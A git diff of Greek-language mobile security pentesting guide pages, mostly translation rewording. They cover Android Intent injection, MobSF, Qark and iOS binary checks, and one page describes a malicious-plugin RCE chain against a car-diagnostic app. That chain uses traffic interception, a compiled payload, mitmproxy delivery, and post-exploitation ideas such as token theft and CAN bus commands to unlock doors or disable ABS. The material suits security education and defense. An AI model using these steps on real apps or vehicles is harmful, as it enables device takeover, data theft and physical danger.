getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -496,13 +496,13 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
|
||||
Οι προγραμματιστές συχνά δημιουργούν proxy components όπως activities, services και broadcast receivers που χειρίζονται αυτά τα Intents και τα περνούν σε μεθόδους όπως `startActivity(...)` ή `sendBroadcast(...)`, οι οποίες μπορεί να είναι επικίνδυνες.
|
||||
|
||||
Ο κίνδυνος έγκειται στην επιτρεπτικότητα στους επιτιθέμενους να ενεργοποιούν μη εξαγώγιμα components εφαρμογών ή να έχουν πρόσβαση σε ευαίσθητους content providers παραπλανώντας αυτά τα Intents. Ένα αξιοσημείωτο παράδειγμα είναι το component `WebView` που μετατρέπει URLs σε αντικείμενα `Intent` μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, ενδεχομένως οδηγώντας σε κακόβουλες εισαγωγές Intent.
|
||||
Ο κίνδυνος έγκειται στην επιτρεπτικότητα στους επιτιθέμενους να ενεργοποιούν μη εξαγόμενα components εφαρμογής ή να έχουν πρόσβαση σε ευαίσθητους content providers παραπλανώντας αυτά τα Intents. Ένα αξιοσημείωτο παράδειγμα είναι το component `WebView` που μετατρέπει URLs σε αντικείμενα `Intent` μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, ενδεχομένως οδηγώντας σε κακόβουλες εισαγωγές Intent.
|
||||
|
||||
### Σημαντικά Σημεία
|
||||
|
||||
- **Εισαγωγή Intent** είναι παρόμοια με το πρόβλημα Open Redirect του ιστού.
|
||||
- Οι εκμεταλλεύσεις περιλαμβάνουν την παράδοση αντικειμένων `Intent` ως extras, τα οποία μπορούν να ανακατευθυνθούν για να εκτελέσουν μη ασφαλείς λειτουργίες.
|
||||
- Μπορεί να εκθέσει μη εξαγώγιμα components και content providers στους επιτιθέμενους.
|
||||
- Μπορεί να εκθέσει μη εξαγόμενα components και content providers στους επιτιθέμενους.
|
||||
- Η μετατροπή URL σε `Intent` του `WebView` μπορεί να διευκολύνει ακούσιες ενέργειες.
|
||||
|
||||
### Εισαγωγές Πελάτη Android και άλλες
|
||||
@ -530,10 +530,10 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Παρατηρήστε ότι το MobSF μπορεί να αναλύσει εφαρμογές **Android**(apk)**, IOS**(ipa) **και Windows**(apx) (_Οι εφαρμογές Windows πρέπει να αναλύονται από ένα MobSF εγκατεστημένο σε έναν υπολογιστή Windows_).\
|
||||
Επίσης, αν δημιουργήσετε ένα αρχείο **ZIP** με τον πηγαίο κώδικα μιας εφαρμογής **Android** ή **IOS** (πηγαίνετε στον ριζικό φάκελο της εφαρμογής, επιλέξτε τα πάντα και δημιουργήστε ένα αρχείο ZIP), θα είναι σε θέση να το αναλύσει επίσης.
|
||||
Παρατηρήστε ότι το MobSF μπορεί να αναλύσει **Android**(apk)**, IOS**(ipa) **και Windows**(apx) εφαρμογές (_Οι εφαρμογές Windows πρέπει να αναλύονται από ένα MobSF εγκατεστημένο σε έναν υπολογιστή Windows_).\
|
||||
Επίσης, αν δημιουργήσετε ένα **ZIP** αρχείο με τον πηγαίο κώδικα μιας **Android** ή **IOS** εφαρμογής (πηγαίνετε στον ριζικό φάκελο της εφαρμογής, επιλέξτε τα πάντα και δημιουργήστε ένα ZIP αρχείο), θα μπορέσει να το αναλύσει επίσης.
|
||||
|
||||
Το MobSF επιτρέπει επίσης την ανάλυση **diff/Compare** και την ενσωμάτωση του **VirusTotal** (θα χρειαστεί να ρυθμίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ρυθμίσετε το `VT_UPLOAD` σε `False`, τότε το **hash** θα **ανεβεί** αντί για το αρχείο.
|
||||
Το MobSF επιτρέπει επίσης την **diff/Compare** ανάλυση και την ενσωμάτωση του **VirusTotal** (θα χρειαστεί να ρυθμίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ρυθμίσετε το `VT_UPLOAD` σε `False`, τότε το **hash** θα **ανεβεί** αντί για το αρχείο.
|
||||
|
||||
### Βοηθητική Δυναμική ανάλυση με το MobSF
|
||||
|
||||
@ -548,11 +548,11 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
|
||||
**Frida**
|
||||
|
||||
Από προεπιλογή, θα χρησιμοποιήσει επίσης κάποια σενάρια Frida για να **παρακάμψει το SSL pinning**, **ανίχνευση root** και **ανίχνευση debugger** και για να **παρακολουθήσει ενδιαφέροντα APIs**.\
|
||||
Από προεπιλογή, θα χρησιμοποιήσει επίσης κάποια Frida Scripts για να **παρακάμψει το SSL pinning**, **ανίχνευση root** και **ανίχνευση debugger** και για να **παρακολουθήσει ενδιαφέροντα APIs**.\
|
||||
Το MobSF μπορεί επίσης να **καλέσει εξαγόμενες δραστηριότητες**, να τραβήξει **screenshots** από αυτές και να τις **αποθηκεύσει** για την αναφορά.
|
||||
|
||||
Για να **ξεκινήσετε** τη δυναμική δοκιμή, πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα σενάρια Frida και "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε συνδεδεμένες μεθόδους, τα ορίσματα που περνούν και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\
|
||||
Το MobSF επιτρέπει επίσης να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των σενάριων σας στο MobSF, χρησιμοποιήστε τη λειτουργία `send()`). Έχει επίσης **πολλά προ-γραμμένα σενάρια** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των σεναρίων μέσα στο "**Frida Live Logs**").
|
||||
Για να **ξεκινήσετε** τη δυναμική δοκιμή πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα Frida scripts και "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε συνδεδεμένες μεθόδους, τα ορίσματα που περνιούνται και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\
|
||||
Το MobSF επιτρέπει επίσης να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των scripts σας στο MobSF χρησιμοποιήστε τη λειτουργία `send()`). Έχει επίσης **πολλά προ-γραμμένα scripts** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των scripts μέσα στο "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
@ -563,13 +563,13 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
- **Capture String Comparisons**: Μπορεί να είναι πολύ χρήσιμο. Θα **δείξει τις 2 συμβολοσειρές που συγκρίνονται** και αν το αποτέλεσμα ήταν True ή False.
|
||||
- **Enumerate Class Methods**: Βάλτε το όνομα της κλάσης (όπως "java.io.File") και θα εκτυπώσει όλες τις μεθόδους της κλάσης.
|
||||
- **Search Class Pattern**: Αναζητήστε κλάσεις κατά μοτίβο
|
||||
- **Trace Class Methods**: **Trace** μια **ολόκληρη κλάση** (δείτε τις εισόδους και τις εξόδους όλων των μεθόδων της κλάσης). Θυμηθείτε ότι από προεπιλογή το MobSF παρακολουθεί πολλές ενδιαφέρουσες μεθόδους Android Api.
|
||||
- **Trace Class Methods**: **Trace** μια **ολόκληρη κλάση** (δείτε τις εισόδους και εξόδους όλων των μεθόδων της κλάσης). Θυμηθείτε ότι από προεπιλογή το MobSF παρακολουθεί πολλές ενδιαφέρουσες μεθόδους Android Api.
|
||||
|
||||
Αφού επιλέξετε το βοηθητικό module που θέλετε να χρησιμοποιήσετε, πρέπει να πατήσετε "**Start Instrumentation**" και θα δείτε όλες τις εξόδους στο "**Frida Live Logs**".
|
||||
Αφού επιλέξετε το βοηθητικό module που θέλετε να χρησιμοποιήσετε, πρέπει να πατήσετε "**Start Intrumentation**" και θα δείτε όλες τις εξόδους στο "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
Το MobSF σας παρέχει επίσης ένα shell με κάποιες εντολές **adb**, **εντολές MobSF**, και κοινές **εντολές shell** στο κάτω μέρος της σελίδας δυναμικής ανάλυσης. Ορισμένες ενδιαφέρουσες εντολές:
|
||||
Το MobSF σας παρέχει επίσης ένα shell με κάποιες **adb** εντολές, **MobSF commands**, και κοινές **shell** **εντολές** στο κάτω μέρος της σελίδας δυναμικής ανάλυσης. Ορισμένες ενδιαφέρουσες εντολές:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -605,7 +605,7 @@ receivers
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά αρκετές **ευπάθειες σχετικές με την ασφάλεια εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" αναπτυσσόμενο APK** και **εντολές ADB**, για να εκμεταλλευτεί κάποιες από τις ευπάθειες που βρέθηκαν (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν υπάρχει ανάγκη να ριζώσετε τη συσκευή δοκιμής.
|
||||
Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά πολλές **ευπάθειες σχετικές με την ασφάλεια εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" deployable APK** και **εντολές ADB**, για να εκμεταλλευτεί κάποιες από τις ευπάθειες που βρέθηκαν (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν υπάρχει ανάγκη να ριζώσετε τη συσκευή δοκιμής.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -698,15 +698,15 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
(Από αυτόν τον οδηγό) Την τελευταία φορά που ελέγξαμε, η λειτουργία του Dexguard ήταν:
|
||||
|
||||
- φορτώστε έναν πόρο ως InputStream;
|
||||
- φορτώστε μια πηγή ως InputStream;
|
||||
- τροφοδοτήστε το αποτέλεσμα σε μια κλάση που κληρονομεί από το FilterInputStream για να το αποκρυπτογραφήσετε;
|
||||
- κάντε κάποια άχρηστη απόκρυψη για να σπαταλήσετε λίγα λεπτά χρόνου από έναν αναλυτή;
|
||||
- τροφοδοτήστε το αποκρυπτογραφημένο αποτέλεσμα σε ένα ZipInputStream για να αποκτήσετε ένα αρχείο DEX;
|
||||
- τελικά φορτώστε το προκύπτον DEX ως Πόρο χρησιμοποιώντας τη μέθοδο `loadDex`.
|
||||
- τελικά φορτώστε το προκύπτον DEX ως Πηγή χρησιμοποιώντας τη μέθοδο `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**Το DeGuard αντιστρέφει τη διαδικασία απόκρυψης που εκτελούν τα εργαλεία απόκρυψης του Android. Αυτό επιτρέπει πολλές αναλύσεις ασφάλειας, συμπεριλαμβανομένης της επιθεώρησης κώδικα και της πρόβλεψης βιβλιοθηκών.**
|
||||
**Το DeGuard αντιστρέφει τη διαδικασία απόκρυψης που εκτελούν τα εργαλεία απόκρυψης Android. Αυτό επιτρέπει πολλές αναλύσεις ασφάλειας, συμπεριλαμβανομένης της επιθεώρησης κώδικα και της πρόβλεψης βιβλιοθηκών.**
|
||||
|
||||
Μπορείτε να ανεβάσετε ένα αποκρυπτογραφημένο APK στην πλατφόρμα τους.
|
||||
|
||||
@ -720,7 +720,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
Το APKiD σας δίνει πληροφορίες για **πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακετάρες**, **εργαλεία απόκρυψης** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για το Android.
|
||||
Το APKiD σας δίνει πληροφορίες για **πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακετάρες**, **αποκρυπτογραφητές** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για Android.
|
||||
|
||||
### Manual
|
||||
|
||||
@ -730,7 +730,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
Το AndroL4b είναι μια εικονική μηχανή ασφάλειας Android βασισμένη στο ubuntu-mate που περιλαμβάνει τη συλλογή των τελευταίων πλαισίων, tutorials και εργαστηρίων από διάφορους ειδικούς και ερευνητές ασφάλειας για αντίστροφη μηχανική και ανάλυση κακόβουλου λογισμικού.
|
||||
Το AndroL4b είναι μια εικονική μηχανή ασφαλείας Android βασισμένη στο ubuntu-mate που περιλαμβάνει τη συλλογή των τελευταίων πλαισίων, tutorials και εργαστηρίων από διάφορους ειδικούς και ερευνητές ασφαλείας για αντίστροφη μηχανική και ανάλυση κακόβουλου λογισμικού.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# Ανασφαλείς Μηχανισμοί Ενημέρωσης Εφαρμογών – Εκτέλεση Κώδικα από Απόσταση μέσω Κακόβουλων Πρόσθετων
|
||||
# Ανασφαλείς Μηχανισμοί Ενημέρωσης Εφαρμογών – Εκτέλεση Απομακρυσμένου Κώδικα μέσω Κακόβουλων Πρόσθετων
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Πολλές εφαρμογές Android υλοποιούν τα **δικά τους κανάλια ενημέρωσης “plugin” ή “dynamic feature”** αντί να χρησιμοποιούν το Google Play Store. Όταν η υλοποίηση είναι ανασφαλής, ένας επιτιθέμενος που μπορεί να παρεμποδίσει την κίνηση μπορεί να προμηθεύσει **τυχαίο εγγενή κώδικα που θα φορτωθεί μέσα στη διαδικασία της εφαρμογής**, οδηγώντας σε πλήρη Εκτέλεση Κώδικα από Απόσταση (RCE) στη συσκευή – και σε ορισμένες περιπτώσεις σε οποιαδήποτε εξωτερική συσκευή που ελέγχεται από την εφαρμογή (αυτοκίνητα, IoT, ιατρικές συσκευές …).
|
||||
Πολλές εφαρμογές Android υλοποιούν τα **δικά τους κανάλια ενημέρωσης “plugin” ή “dynamic feature”** αντί να χρησιμοποιούν το Google Play Store. Όταν η υλοποίηση είναι ανασφαλής, ένας επιτιθέμενος που μπορεί να παρεμποδίσει την κίνηση μπορεί να προμηθεύσει **τυχαίο εγγενή κώδικα που θα φορτωθεί μέσα στη διαδικασία της εφαρμογής**, οδηγώντας σε πλήρη Εκτέλεση Απομακρυσμένου Κώδικα (RCE) στη συσκευή – και σε ορισμένες περιπτώσεις σε οποιαδήποτε εξωτερική συσκευή που ελέγχεται από την εφαρμογή (αυτοκίνητα, IoT, ιατρικές συσκευές …).
|
||||
|
||||
Αυτή η σελίδα συνοψίζει μια αλυσίδα ευπάθειας από τον πραγματικό κόσμο που βρέθηκε στην εφαρμογή διαγνωστικών αυτοκινήτων Xtool **AnyScan** (v4.40.11 → 4.40.40) και γενικεύει την τεχνική ώστε να μπορείτε να ελέγξετε άλλες εφαρμογές Android και να εκμεταλλευτείτε τη λανθασμένη ρύθμιση κατά τη διάρκεια μιας εμπλοκής red-team.
|
||||
Αυτή η σελίδα συνοψίζει μια αλυσίδα ευπάθειας από τον πραγματικό κόσμο που βρέθηκε στην εφαρμογή διαγνωστικών αυτοκινήτων **AnyScan** (v4.40.11 → 4.40.40) και γενικεύει την τεχνική ώστε να μπορείτε να ελέγξετε άλλες εφαρμογές Android και να οπλοποιήσετε τη λανθασμένη ρύθμιση κατά τη διάρκεια μιας εμπλοκής red-team.
|
||||
|
||||
---
|
||||
## 1. Αναγνώριση Ανασφαλούς TLS TrustManager
|
||||
@ -33,7 +33,7 @@ iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on r
|
||||
```
|
||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||
```
|
||||
Το σώμα της απάντησης είναι ένα **XML έγγραφο** των οποίων οι κόμβοι `<FileData>` περιέχουν **Base64-κωδικοποιημένα, κρυπτογραφημένα με DES-ECB** JSON που περιγράφει κάθε διαθέσιμο plugin.
|
||||
Το σώμα της απάντησης είναι ένα **XML έγγραφο** των οποίων οι κόμβοι `<FileData>` περιέχουν **Base64-κωδικοποιημένο, κρυπτογραφημένο με DES-ECB** JSON που περιγράφει κάθε διαθέσιμο plugin.
|
||||
|
||||
Τυπικά βήματα αναζήτησης:
|
||||
1. Εντοπίστε τη ρουτίνα κρυπτογράφησης (π.χ. `RemoteServiceProxy`) και ανακτήστε:
|
||||
@ -72,7 +72,7 @@ $ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
||||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||||
```
|
||||
2. Ενημερώστε τα μεταδεδομένα JSON ώστε το `"FileName" : "PWNED.zip"` και το `"DownloadURL"` να δείχνουν στον HTTP server σας.
|
||||
3. Κρυπτογραφήστε με DES + κωδικοποιήστε σε Base64 το τροποποιημένο JSON και αντιγράψτε το πίσω μέσα στο παρεμβληθέν XML.
|
||||
3. Κρυπτογραφήστε με DES + κωδικοποιήστε σε Base64 το τροποποιημένο JSON και αντιγράψτε το πίσω μέσα στο παρεμβαλλόμενο XML.
|
||||
|
||||
## 4. Παράδοση του Payload με mitmproxy
|
||||
|
||||
@ -97,23 +97,23 @@ python3 -m http.server 8000 --directory ./payloads
|
||||
* ανακτήσει το παραποιημένο XML μέσω του καναλιού MITM;
|
||||
* αποκρυπτογραφήσει και αναλύσει με το σκληρά κωδικοποιημένο κλειδί DES;
|
||||
* κατεβάσει το `PWNED.zip` → αποσυμπιέσει μέσα στην ιδιωτική αποθήκευση;
|
||||
* `dlopen()` το συμπεριλαμβανόμενο *libscan_x64.so*, εκτελώντας αμέσως τον κώδικά μας **με τις άδειες της εφαρμογής** (κάμερα, GPS, Bluetooth, σύστημα αρχείων, …).
|
||||
* `dlopen()` το συμπεριλαμβανόμενο *libscan_x64.so*, εκτελώντας άμεσα τον κώδικά μας **με τις άδειες της εφαρμογής** (κάμερα, GPS, Bluetooth, σύστημα αρχείων, …).
|
||||
|
||||
Επειδή το plugin είναι αποθηκευμένο στη μνήμη, η πίσω πόρτα **επιμένει σε επανεκκινήσεις** και εκτελείται κάθε φορά που ο χρήστης επιλέγει τη σχετική δυνατότητα.
|
||||
Επειδή το plugin είναι αποθηκευμένο στη μνήμη, η πίσω πόρτα **επιμένει μετά από επανεκκινήσεις** και εκτελείται κάθε φορά που ο χρήστης επιλέγει τη σχετική δυνατότητα.
|
||||
|
||||
## 5. Ιδέες Μετά την Εκμετάλλευση
|
||||
|
||||
* Κλέψτε τα session cookies, τα OAuth tokens ή τα JWTs που αποθηκεύει η εφαρμογή.
|
||||
* Κλέψτε τα session cookies, OAuth tokens ή JWTs που αποθηκεύει η εφαρμογή.
|
||||
* Ρίξτε ένα APK δεύτερης φάσης και εγκαταστήστε το σιωπηλά μέσω του `pm install` (η εφαρμογή έχει ήδη `REQUEST_INSTALL_PACKAGES`).
|
||||
* Κακοποιήστε οποιοδήποτε συνδεδεμένο υλικό – στο σενάριο AnyScan μπορείτε να στείλετε αυθαίρετες **εντολές OBD-II / CAN bus** (ξεκλείδωμα θυρών, απενεργοποίηση ABS, κ.λπ.).
|
||||
* Καταχρήστε οποιοδήποτε συνδεδεμένο υλικό – στο σενάριο AnyScan μπορείτε να στείλετε αυθαίρετες **εντολές OBD-II / CAN bus** (ξεκλείδωμα θυρών, απενεργοποίηση ABS, κ.λπ.).
|
||||
|
||||
---
|
||||
### Λίστα Ελέγχου Ανίχνευσης & Μετριασμού (μπλε ομάδα)
|
||||
|
||||
* ΠΟΤΕ μην αποστέλλετε μια παραγωγική έκδοση με έναν προσαρμοσμένο TrustManager/HostnameVerifier που απενεργοποιεί την επικύρωση πιστοποιητικών.
|
||||
* Μην κατεβάζετε εκτελέσιμο κώδικα από το εξωτερικό του Google Play. Αν *πρέπει*, υπογράψτε κάθε plugin με το ίδιο **apkSigning v2** κλειδί και επαληθεύστε την υπογραφή πριν τη φόρτωση.
|
||||
* Μην κατεβάζετε εκτελέσιμο κώδικα από το Google Play. Αν *πρέπει*, υπογράψτε κάθε plugin με το ίδιο **apkSigning v2** κλειδί και επαληθεύστε την υπογραφή πριν τη φόρτωση.
|
||||
* Αντικαταστήστε την αδύναμη/σκληρά κωδικοποιημένη κρυπτογράφηση με **AES-GCM** και ένα περιστρεφόμενο κλειδί από την πλευρά του διακομιστή.
|
||||
* Επαληθεύστε την ακεραιότητα των κατεβασμένων αρχείων (υπογραφή ή τουλάχιστον SHA-256).
|
||||
* Επικυρώστε την ακεραιότητα των κατεβασμένων αρχείων (υπογραφή ή τουλάχιστον SHA-256).
|
||||
|
||||
---
|
||||
## Αναφορές
|
||||
|
||||
@ -39,7 +39,7 @@ basic-ios-testing-operations.md
|
||||
|
||||
Συνιστάται να χρησιμοποιήσετε το εργαλείο [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) για να εκτελέσετε μια αυτόματη Στατική Ανάλυση στο αρχείο IPA.
|
||||
|
||||
Αναγνώριση των **προστασιών που υπάρχουν στο δυαδικό αρχείο**:
|
||||
Αναγνώριση των **προστασιών που υπάρχουν στο δυαδικό**:
|
||||
|
||||
- **PIE (Position Independent Executable)**: Όταν είναι ενεργοποιημένο, η εφαρμογή φορτώνεται σε μια τυχαία διεύθυνση μνήμης κάθε φορά που εκκινείται, καθιστώντας πιο δύσκολη την πρόβλεψη της αρχικής διεύθυνσης μνήμης.
|
||||
|
||||
@ -47,7 +47,7 @@ basic-ios-testing-operations.md
|
||||
otool -hv <app-binary> | grep PIE # Θα πρέπει να περιλαμβάνει τη σημαία PIE
|
||||
```
|
||||
|
||||
- **Stack Canaries**: Για να επικυρώσουν την ακεραιότητα της στοίβας, μια τιμή ‘canary’ τοποθετείται στη στοίβα πριν από την κλήση μιας συνάρτησης και επικυρώνεται ξανά μόλις τελειώσει η συνάρτηση.
|
||||
- **Stack Canaries**: Για να επικυρωθεί η ακεραιότητα της στοίβας, μια τιμή ‘canary’ τοποθετείται στη στοίβα πριν από την κλήση μιας συνάρτησης και επικυρώνεται ξανά μόλις η συνάρτηση τελειώσει.
|
||||
|
||||
```bash
|
||||
otool -I -v <app-binary> | grep stack_chk # Θα πρέπει να περιλαμβάνει τα σύμβολα: stack_chk_guard και stack_chk_fail
|
||||
@ -59,7 +59,7 @@ otool -I -v <app-binary> | grep stack_chk # Θα πρέπει να περιλ
|
||||
otool -I -v <app-binary> | grep objc_release # Θα πρέπει να περιλαμβάνει το σύμβολο _objc_release
|
||||
```
|
||||
|
||||
- **Encrypted Binary**: Το δυαδικό αρχείο θα πρέπει να είναι κρυπτογραφημένο
|
||||
- **Encrypted Binary**: Το δυαδικό θα πρέπει να είναι κρυπτογραφημένο
|
||||
|
||||
```bash
|
||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Το cryptid θα πρέπει να είναι 1
|
||||
@ -135,7 +135,7 @@ grep -iER "_vsprintf"
|
||||
|
||||
### Basic Dynamic Analysis
|
||||
|
||||
Δείτε την δυναμική ανάλυση που εκτελεί ο [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Θα χρειαστεί να πλοηγηθείτε μέσα από τις διάφορες προβολές και να αλληλεπιδράσετε μαζί τους, αλλά θα συνδέει πολλές κλάσεις κάνοντας άλλες ενέργειες και θα ετοιμάσει μια αναφορά μόλις ολοκληρώσετε.
|
||||
Δείτε την δυναμική ανάλυση που εκτελεί ο [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Θα χρειαστεί να πλοηγηθείτε μέσα από τις διάφορες προβολές και να αλληλεπιδράσετε μαζί τους, αλλά θα συνδέσει αρκετές κλάσεις κάνοντας άλλες ενέργειες και θα ετοιμάσει μια αναφορά μόλις ολοκληρώσετε.
|
||||
|
||||
### Listing Installed Apps
|
||||
|
||||
@ -162,13 +162,13 @@ ios-hooking-with-objection.md
|
||||
|
||||
### Δομή IPA
|
||||
|
||||
Η δομή ενός **IPA αρχείου** είναι ουσιαστικά αυτή ενός **συμπιεσμένου πακέτου**. Με την αλλαγή της επέκτασής του σε `.zip`, μπορεί να **αποσυμπιεστεί** για να αποκαλύψει το περιεχόμενό του. Μέσα σε αυτή τη δομή, ένα **Bundle** αντιπροσωπεύει μια πλήρως συσκευασμένη εφαρμογή έτοιμη για εγκατάσταση. Μέσα, θα βρείτε έναν φάκελο ονόματι `<NAME>.app`, ο οποίος περιέχει τους πόρους της εφαρμογής.
|
||||
Η δομή ενός **IPA αρχείου** είναι ουσιαστικά αυτή ενός **συμπιεσμένου πακέτου**. Με την αλλαγή της επέκτασής του σε `.zip`, μπορεί να **αποσυμπιεστεί** για να αποκαλύψει το περιεχόμενό του. Μέσα σε αυτή τη δομή, ένα **Bundle** αντιπροσωπεύει μια πλήρως συσκευασμένη εφαρμογή έτοιμη για εγκατάσταση. Μέσα, θα βρείτε έναν φάκελο με όνομα `<NAME>.app`, ο οποίος περιέχει τους πόρους της εφαρμογής.
|
||||
|
||||
- **`Info.plist`**: Αυτό το αρχείο περιέχει συγκεκριμένες λεπτομέρειες ρύθμισης της εφαρμογής.
|
||||
- **`_CodeSignature/`**: Αυτός ο φάκελος περιλαμβάνει ένα αρχείο plist που περιέχει μια υπογραφή, διασφαλίζοντας την ακεραιότητα όλων των αρχείων στο bundle.
|
||||
- **`Assets.car`**: Ένα συμπιεσμένο αρχείο που αποθηκεύει αρχεία πόρων όπως εικονίδια.
|
||||
- **`Frameworks/`**: Αυτός ο φάκελος φιλοξενεί τις εγγενείς βιβλιοθήκες της εφαρμογής, οι οποίες μπορεί να είναι σε μορφή αρχείων `.dylib` ή `.framework`.
|
||||
- **`PlugIns/`**: Αυτό μπορεί να περιλαμβάνει επεκτάσεις της εφαρμογής, γνωστές ως αρχεία `.appex`, αν και δεν είναι πάντα παρούσες. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Χρησιμοποιείται για να αποθηκεύει τα μόνιμα δεδομένα της εφαρμογής σας για offline χρήση, να αποθηκεύει προσωρινά δεδομένα και να προσθέτει λειτουργία undo στην εφαρμογή σας σε μία μόνο συσκευή. Για να συγχρονίσετε δεδομένα σε πολλές συσκευές σε έναν μόνο λογαριασμό iCloud, το Core Data αντικατοπτρίζει αυτόματα το σχήμα σας σε ένα CloudKit container.
|
||||
- **`PlugIns/`**: Αυτό μπορεί να περιλαμβάνει επεκτάσεις της εφαρμογής, γνωστές ως αρχεία `.appex`, αν και δεν είναι πάντα παρόντα. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Χρησιμοποιείται για να αποθηκεύει τα μόνιμα δεδομένα της εφαρμογής σας για offline χρήση, να αποθηκεύει προσωρινά δεδομένα και να προσθέτει λειτουργία undo στην εφαρμογή σας σε μία μόνο συσκευή. Για να συγχρονίσετε δεδομένα σε πολλές συσκευές σε έναν μόνο λογαριασμό iCloud, το Core Data αντικατοπτρίζει αυτόματα το σχήμα σας σε ένα CloudKit container.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Το αρχείο `PkgInfo` είναι ένας εναλλακτικός τρόπος για να καθορίσετε τους τύπους και τους κωδικούς δημιουργού της εφαρμογής ή του bundle σας.
|
||||
- **en.lproj, fr.proj, Base.lproj**: Είναι τα πακέτα γλώσσας που περιέχουν πόρους για αυτές τις συγκεκριμένες γλώσσες, και έναν προεπιλεγμένο πόρο σε περίπτωση που μια γλώσσα δεν υποστηρίζεται.
|
||||
- **Ασφάλεια**: Ο φάκελος `_CodeSignature/` παίζει κρίσιμο ρόλο στην ασφάλεια της εφαρμογής επαληθεύοντας την ακεραιότητα όλων των συσκευασμένων αρχείων μέσω ψηφιακών υπογραφών.
|
||||
@ -191,7 +191,7 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
